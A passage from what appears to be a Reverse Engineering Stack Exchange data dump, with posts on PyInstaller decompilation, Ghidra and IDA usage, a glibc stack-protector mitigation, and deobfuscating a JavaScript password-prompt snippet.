pair of &lt;code&gt;int16&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm also aware of these two related questions: &lt;a href=&quot;https://stackoverflow.com/questions/1026066/how-to-analyze-binary-file&quot;&gt;How to analyze binary file?&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/492751/tools-to-help-reverse-engineer-binary-file-formats&quot;&gt;Tools to help reverse engineer binary file formats&lt;/a&gt;,&#xA;but these answers seem to only give manual tools that require the user to then play around with the data and make some guesses about its configuration.&#xA;So, my question is particularly interested in automatic approaches or tools for this job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/18451/30361&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/18457/30361&quot;&gt;its answer&lt;/a&gt;, but the methods mentioned there seem to be aimed at a more general task of inferring the communication protocol, and not necessarily(?) the datatypes of the packet's payload, so I'm not sure how suitable these programs are to the task I've described.&lt;/p&gt;&#xA;" OwnerUserId="30361" LastEditorUserId="30366" LastEditDate="2019-12-03T04:17:07.733" LastActivityDate="2023-12-20T11:03:55.530" Title="Are there existing automated approaches to reverse engineering the data types in a binary data stream?" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22660" PostTypeId="2" ParentId="22658" CreationDate="2019-12-02T21:04:15.237" Score="0" Body="&lt;p&gt;IMO there is not much to add to the linked answer (even though it's focused on network protocols, your task sounds pretty similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing you can try is to look at papers &lt;a href=&quot;https://scholar.google.com/scholar?q=netzob&quot; rel=&quot;nofollow noreferrer&quot;&gt;citing the mentioned tools&lt;/a&gt; to find more/related approaches or tools.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-02T21:04:15.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22661" PostTypeId="1" CreationDate="2019-12-02T21:13:37.340" Score="1" ViewCount="12081" Body="&lt;p&gt;Python versions, this method has been tried on: 3.7.5, 3.6.0, 3.5.0, 2.7.17? (I know, I'm just too desperate to get my source back.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have problem with decompiling an exe. I kind of deleted the wrong folder and now I'm left with the &lt;code&gt;.exe&lt;/code&gt;, made by pyinstaller and nothing else. So basically I googled how to &lt;code&gt;decompile pyinstaller exes&lt;/code&gt; and I found that first I use this: &lt;a href=&quot;https://github.com/countercept/python-exe-unpacker/blob/master/pyinstxtractor.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/countercept/python-exe-unpacker/blob/master/pyinstxtractor.py&lt;/a&gt; to dissasemble to &lt;code&gt;.pyc&lt;/code&gt; files and then &lt;code&gt;uncompyle6&lt;/code&gt; to get the source. The problem is that &lt;code&gt;pyinstxtractor&lt;/code&gt; doesn't return the source code in &lt;code&gt;.pyc&lt;/code&gt; format so I basically had to convert it myself and then add the &quot;magic numbers&quot; to it so that &lt;code&gt;uncompyle6&lt;/code&gt; sees it as &lt;code&gt;.pyc&lt;/code&gt;. If you are wondering how I got the magic numbers, well I just used a hex editor to see the magic numbers of another &lt;code&gt;.pyc&lt;/code&gt;, that &lt;code&gt;pyinstxtractor&lt;/code&gt; spat out and then I just pasted them in the main file. So after that, I write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uncompyle63 name_of_pyc.pyc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get this error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;c:\python\lib\site-packages\xdis\load.py&quot;, line 208, in load_module_from_file_object&#xA;    co = marshal.loads(bytecode)&#xA;ValueError: bad marshal data (unknown type code)&#xA;Traceback (most recent call last):&#xA;  File &quot;c:\python\lib\site-packages\xdis\load.py&quot;, line 208, in load_module_from_file_object&#xA;    co = marshal.loads(bytecode)&#xA;ValueError: bad marshal data (unknown type code)&#xA;&#xA;During handling of the above exception, another exception occurred:&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;c:\python\lib\runpy.py&quot;, line 193, in _run_module_as_main&#xA;    &quot;__main__&quot;, mod_spec)&#xA;  File &quot;c:\python\lib\runpy.py&quot;, line 85, in _run_code&#xA;    exec(code, run_globals)&#xA;  File &quot;C:\Python\Scripts\uncompyle6.exe\__main__.py&quot;, line 9, in &amp;lt;module&amp;gt;&#xA;  File &quot;c:\python\lib\site-packages\uncompyle6\bin\uncompile.py&quot;, line 194, in main_bin&#xA;    **options)&#xA;  File &quot;c:\python\lib\site-packages\uncompyle6\main.py&quot;, line 261, in main&#xA;    source_encoding, linemap_stream, do_fragments)&#xA;  File &quot;c:\python\lib\site-packages\uncompyle6\main.py&quot;, line 161, in decompile_file&#xA;    source_size) = load_module(filename, code_objects)&#xA;  File &quot;c:\python\lib\site-packages\xdis\load.py&quot;, line 116, in load_module&#xA;    get_code=get_code,&#xA;  File &quot;c:\python\lib\site-packages\xdis\load.py&quot;, line 222, in load_module_from_file_object&#xA;    &quot;Ill-formed bytecode file %s\n%s; %s&quot; % (filename, kind, msg)&#xA;ImportError: Ill-formed bytecode file Bot.pyc&#xA;&amp;lt;class 'ValueError'&amp;gt;; bad marshal data (unknown type code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are some other ways to decompile pyinstaller executables (If this one is useless)?&lt;/p&gt;&#xA;" OwnerUserId="30363" LastEditorUserId="245" LastEditDate="2019-12-17T23:04:32.310" LastActivityDate="2019-12-17T23:06:13.713" Title="How to to decompile a pyinstaller exe, back to source code?" Tags="|python|disassemblers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22664" PostTypeId="1" CreationDate="2019-12-03T09:29:55.150" Score="1" ViewCount="274" Body="&lt;p&gt;As the &lt;code&gt;eval()&lt;/code&gt; function of JavaScript is an evil, I want to hook or monkey-patch &lt;code&gt;eval()&lt;/code&gt; function of JavaScript in node.js. I want to intercept all arguments passed in &lt;code&gt;eval()&lt;/code&gt; function. Please guide me how to hook or monkey patch &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="26482" LastEditorUserId="245" LastEditDate="2019-12-06T09:20:29.297" LastActivityDate="2019-12-06T09:20:29.297" Title="How to hook eval function in node.js" Tags="|patching|function-hooking|javascript|hooking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22665" PostTypeId="1" CreationDate="2019-12-03T10:06:00.123" Score="1" ViewCount="203" Body="&lt;p&gt;I'm looking for alternative for Wireshark, with this requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cross-platform (Windows and Linux)&lt;/li&gt;&#xA;&lt;li&gt;USB packet sniffing&lt;/li&gt;&#xA;&lt;li&gt;Easy creation of dissectors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wireshark is great, but Lua API for writing dissectors miss some critical features, like conversations (linking request and response packets).&lt;/p&gt;&#xA;" OwnerUserId="3528" LastActivityDate="2019-12-03T10:06:00.123" Title="Alternative for Wireshark for USB packet sniffing" Tags="|tools|usb|sniffing|wireshark|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22668" PostTypeId="1" AcceptedAnswerId="22675" CreationDate="2019-12-03T15:24:14.510" Score="3" ViewCount="681" Body="&lt;p&gt;I'm debugging some code and I know that there's a structure in memory, I have a definition of the structure, I apply it on memory, then I look at the structure field values, and I see that one of the fields of the structure contains the wrong value. Is there any way to change the structure field value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have to look for the offset of the field in structure definitions, then undefine the structure in memory, then go to the proper offset, change the value and reapply the structure again.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2023-01-20T00:18:27.043" Title="Is there a way to edit structure field value in memory during debug" Tags="|ida|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22670" PostTypeId="2" ParentId="22450" CreationDate="2019-12-04T12:17:49.933" Score="2" Body="&lt;p&gt;In fact, this is a fairly recent mitigation mechanism introduced to avoid to leak information about the stack of the crashed application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;&lt;code&gt;&amp;lt;unknown&amp;gt;&lt;/code&gt;&quot; (which is a static string added by &lt;code&gt;-fstack-protector&lt;/code&gt;) that you see was previously &lt;code&gt;argv[0]&lt;/code&gt;. But, some attackers started to exploit the fact that you could overflow the stack, reach the &lt;code&gt;argv[0]&lt;/code&gt; and overwrite it with an address that you choose. Indeed, if you can control the address at &lt;code&gt;argv[0]&lt;/code&gt; and crash the application, you can leak the whole stack outside of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique was mainly used in servers where &lt;code&gt;fork()&lt;/code&gt; was used to respawn an instance. As &lt;code&gt;fork()&lt;/code&gt; is cloning the memory of the initial process, the ASLR was useless because the same starting memory image was used and, then, the same memory mapping was used again and again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a secret key or some confidential data were stored in the stack, then an attacker can access it through this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why, sometime last year, some developers decided to avoid to use &lt;code&gt;argv[0]&lt;/code&gt; when displaying information about the stack-smashing and replaced it by &lt;code&gt;&amp;lt;unknown&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;https://unix.stackexchange.com/questions/530524/disable-stack-smashing-detected-unknown-terminated/530545#530545&quot;&gt;answer on Unix/Linux Stack-Exchange site&lt;/a&gt; that pinpoint the part of the code of &lt;code&gt;glibc&lt;/code&gt; that is responsible for that.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void&#xA;__attribute__ ((noreturn))&#xA;__fortify_fail_abort (_Bool need_backtrace, const char *msg)&#xA;{&#xA;  /* The loop is added only to keep gcc happy.  Don't pass down&#xA;     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]&#xA;     may point to the corrupted stack.  */&#xA;  while (1)&#xA;    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,&#xA;            &quot;*** %s ***: %s terminated\n&quot;,&#xA;            msg,&#xA;            (need_backtrace &amp;amp;&amp;amp; __libc_argv[0] != NULL&#xA;             ? __libc_argv[0] : &quot;&amp;lt;unknown&amp;gt;&quot;));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, here is the comment attached to the original commit introducing the patch:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Avoid backtrace from &lt;code&gt;__stack_chk_fail&lt;/code&gt; [BZ #12189]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;__stack_chk_fail&lt;/code&gt; is called on corrupted stack. Stack backtrace is very&#xA;  unreliable against corrupted stack. &lt;code&gt;__libc_message&lt;/code&gt; is changed to accept&#xA;  &lt;code&gt;enum __libc_message_action&lt;/code&gt; and call &lt;code&gt;BEFORE_ABORT&lt;/code&gt; only if action includes&#xA;  &lt;code&gt;do_backtrace&lt;/code&gt;.  &lt;code&gt;__fortify_fail_abort&lt;/code&gt; is added to avoid backtrace from&#xA;  &lt;code&gt;__stack_chk_fail&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would have liked to give more references and articles in english about this flaw but nobody seemed have write about this thing... Sorry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an article explaining it (in French):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hacktion.be/stack-smashing-protector-leak/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stack Smashing Protector : fuite d'informations&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-12-06T08:39:46.197" LastActivityDate="2019-12-06T08:39:46.197" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22671" PostTypeId="2" ParentId="22076" CreationDate="2019-12-04T14:43:47.697" Score="0" Body="&lt;p&gt;32 and 64 differ in another way than you think. You have pretty much the same binary code but on 64 you operate on 64-bit registers and 64-bit data. 32 and 64 are about data not code. Using OllyDBG on 64-bit code is ok, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you have to take attention that you operating on 64-bit data.&lt;br&gt; &#xA;ie. when Olly shows MOV DWORD[PTR], EAX  then really moves 8 bytes.&lt;/li&gt;&#xA;&lt;li&gt;one-byte instruction like INC EAX does not exist on 64-bit.&lt;br&gt;&#xA;when OllyDBG show one-byte i.e. INC EAX this is a 64-bit prefix.&lt;br&gt;&#xA;So: XOR EAX,EAX &lt;br&gt;&#xA;  INC EAX&lt;br&gt;&#xA;  JZ will run differently on 32 and 64&lt;/li&gt;&#xA;&lt;li&gt;probably much more issues&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30380" LastEditorUserId="245" LastEditDate="2019-12-06T08:14:10.973" LastActivityDate="2019-12-06T08:14:10.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22673" PostTypeId="1" CreationDate="2019-12-05T16:12:14.377" Score="10" ViewCount="1965" Body="&lt;h2&gt;TLTR&lt;/h2&gt;&#xA;&lt;p&gt;I want to load Linux kernel headers vs. 4.19 to Ghidra so that it recognizes kernel structures and function signatures.&lt;/p&gt;&#xA;&lt;h2&gt;Full description&lt;/h2&gt;&#xA;&lt;p&gt;I'm trying to reverse engineer a Linux kernel module (kernel version 4.19).&#xA;Ghidra does recognize correctly all function names such as: &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;misc_register&lt;/code&gt;, etc., but it cannot determine their exact signatures.&lt;/p&gt;&#xA;&lt;p&gt;Let's take as an example the &lt;code&gt;copy_from_user()&lt;/code&gt; function with the signature:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long copy_from_user (void *to, const void __user *from, unsigned long n);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and here's how Ghidra sees it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;undefined _copy_from_user (void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I believe that it won't be the last kernel module for me to reverse engineer, and so I would like to learn how to load all missing kernel structures to the program.&lt;/p&gt;&#xA;&lt;p&gt;Moreover, I am aware that I can edit the function signature by hand, but I would then need to add plenty of structures by hand as well (such as struct file) and this would be very ineffective.&lt;/p&gt;&#xA;&lt;h3&gt;What I've tried so far&lt;/h3&gt;&#xA;&lt;p&gt;(I'm super new to Ghidra and if you know a better way to load Linux kernel headers, please just share.)&lt;/p&gt;&#xA;&lt;p&gt;I've downloaded headers from Debian repository:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ wget linux-headers-4.19.0-6-common_4.19.67-2+deb10u2_all.deb .&#xA;$ ls&#xA;linux-headers-4.19.0-6-common_4.19.67-2+deb10u2_all.deb  usr&#xA;$ ls /usr/src/&#xA;linux-headers-4.19.0-6-common&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I extracted and copied the whole content of all files into &lt;code&gt;all_headers.h&lt;/code&gt; (Ghidra didn't want to accept the directory itself. I couldn't find any information about loading files form Makefile as well)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ cat `find . | grep .h` &amp;gt; all_headers.h&#xA;$ cat all_headers.h | wc -c&#xA;29824650&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I've provided all_headers.h to get parsed, but Ghidra has only added around 20 defines and no function signatures.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vPaGB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPaGB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hb8ko.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hb8ko.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="37138" LastEditDate="2021-07-02T19:10:08.043" LastActivityDate="2021-07-02T19:10:08.043" Title="Ghidra loading Linux kernel function signatures" Tags="|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22675" PostTypeId="2" ParentId="22668" CreationDate="2019-12-06T02:10:50.980" Score="0" Body="&lt;p&gt;You still need to know the offset of the field, but you can get away with not having to redefine it. Open a hex dump subview and sync it with your disassembly view(right click -&gt; sync with). Put your cursor on the relevant bytes of the struct, hit F2 to enter edit mode, change the data, and hit F2 again to commit your changes to memory. You could probably also do this using the IDC or IDAPython consoles.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2019-12-06T02:10:50.980" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22676" PostTypeId="1" CreationDate="2019-12-06T07:36:01.097" Score="7" ViewCount="4273" Body="&lt;p&gt;Where can I see all the CPUs supported by Ghidra?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Ghidra support more CPUs than IDA Pro?&lt;/p&gt;&#xA;" OwnerUserId="30388" LastEditorUserId="245" LastEditDate="2019-12-06T08:06:06.160" LastActivityDate="2019-12-07T11:03:13.407" Title="CPU support by ghidra" Tags="|ida|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22677" PostTypeId="2" ParentId="22676" CreationDate="2019-12-06T08:51:47.910" Score="4" Body="&lt;p&gt;Quoting the &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/wiki/Frequently-asked-questions#what-processors-are-currently-supported&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra Wiki&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What processors are currently supported?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;X86 16/32/64, ARM/AARCH64, PowerPC 32/64/VLE, MIPS 16/32/64/micro,&#xA;  68xxx, Java / DEX bytecode, PA-RISC, PIC 12/16/17/18/24, Sparc 32/64,&#xA;  CR16C, Z80, 6502, 8051, MSP430, AVR8, AVR32, and variants of these&#xA;  processors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The latest IDA pro supports more than &lt;a href=&quot;https://www.hex-rays.com/products/ida/processors.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;60 families of processors&lt;/a&gt;. IDA does seem to have the upper hand but that gap is quickly closing in as Ghidra being an open-source tool has the community support. IDA though closed source has been around for a longer time so you would also find plenty of user developed processor modules.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-12-07T11:03:13.407" LastActivityDate="2019-12-07T11:03:13.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22678" PostTypeId="2" ParentId="22676" CreationDate="2019-12-06T08:57:21.533" Score="5" Body="&lt;p&gt;The supported processors are listed &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors&quot; rel=&quot;noreferrer&quot;&gt;in the publicly available source code on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra and IDA Pro both support quite a wide variety of architectures and processors. It's hard for me to tell which one supports more, and I am not sure how meaningful that kind of comparison is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see this presentation and associated materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/0xAlexei/INFILTRATE2019&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/0xAlexei/INFILTRATE2019&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that adding support for a new processor in Ghidra can be done via Sleigh. Here is an example: &lt;a href=&quot;https://guedou.github.io/talks/2019_BeeRump/slides.pdf&quot; rel=&quot;noreferrer&quot;&gt;Implementing a New CPU Architecture&#xA;for Ghidra&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="245" LastEditDate="2019-12-06T09:18:38.013" LastActivityDate="2019-12-06T09:18:38.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22679" PostTypeId="1" AcceptedAnswerId="22680" CreationDate="2019-12-06T17:52:04.303" Score="0" ViewCount="11265" Body="&lt;p&gt;I am trying to deobfuscate this javascript code, but I don't know how it was created. Can you please tell me what the mechanism or the function is that generate such characters in javascript?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;É=-~-~[],ó=-~É,Ë=É&amp;lt;&amp;lt;É,þ=Ë+~[];Ì=(ó-ó)[Û=(''+{})[É+ó]+(''+{})[ó-É]+([].ó+'')[ó-É]+(!!''+'')[ó]+({}+'')[ó+ó]+(!''+'')[ó-É]+(!''+'')[É]+(''+{})[É+ó]+({}+'')[ó+ó]+(''+{})[ó-É]+(!''+'')[ó-É]][Û];Ì(Ì((!''+'')[ó-É]+(!''+'')[ó]+(!''+'')[ó-ó]+(!''+'')[É]+((!''+''))[ó-É]+([].$+'')[ó-É]+'\''+''+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó-ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(ó+ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+É)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(É+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(þ)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó+ó)+(ó-É)+'\\'+(ó+ó)+(É)+'\\'+(ó+ó)+(ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+ó)+(ó+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(þ)+(É+ó)+'\'')())()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30394" LastEditorUserId="266" LastEditDate="2019-12-06T19:39:51.117" LastActivityDate="2019-12-06T21:39:17.113" Title="How can I deobfuscate this javascript code" Tags="|deobfuscation|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22680" PostTypeId="2" ParentId="22679" CreationDate="2019-12-06T21:01:37.813" Score="6" Body="&lt;p&gt;The special &quot;accent&quot; letters are just a distraction. You can use a text-editor to replace them with &quot;standard&quot; letters and the code would still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's add a newline after each semicolon:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;É=-~-~[],ó=-~É,Ë=É&amp;lt;&amp;lt;É,þ=Ë+~[];&#xA;Ì=(ó-ó)[Û=(''+{})[É+ó]+(''+{})[ó-É]+([].ó+'')[ó-É]+(!!''+'')[ó]+({}+'')[ó+ó]+(!''+'')[ó-É]+(!''+'')[É]+(''+{})[É+ó]+({}+'')[ó+ó]+(''+{})[ó-É]+(!''+'')[ó-É]][Û];&#xA;Ì(Ì((!''+'')[ó-É]+(!''+'')[ó]+(!''+'')[ó-ó]+(!''+'')[É]+((!''+''))[ó-É]+([].$+'')[ó-É]+'\''+''+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+ó)+(ó-ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó-ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(ó+ó)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(ó+ó)+(É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(ó-É)+(þ)+(É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+ó)+(É+ó)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(É+É)+(É+É)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(ó-ó)+'\\'+(ó-É)+(ó+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(ó+ó)+(ó)+'\\'+(ó-É)+(É+É)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(É+ó)+(ó-É)+'\\'+(þ)+(ó)+'\\'+(ó-É)+(É+ó)+(ó-É)+'\\'+(ó-É)+(É+É)+(ó+ó)+'\\'+(É+ó)+(ó-ó)+'\\'+(ó-É)+(É+É)+(ó-É)+'\\'+(þ)+(É+ó)+'\\'+(þ)+(É+ó)+'\\'+(É+É)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó-É)+(ó+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'+(ó+ó)+(ó-É)+'\\'+(ó+ó)+(É)+'\\'+(ó+ó)+(ó)+'\\'+(ó-É)+(É+ó)+(É+É)+'\\'+(ó-É)+(É+ó)+(þ)+'\\'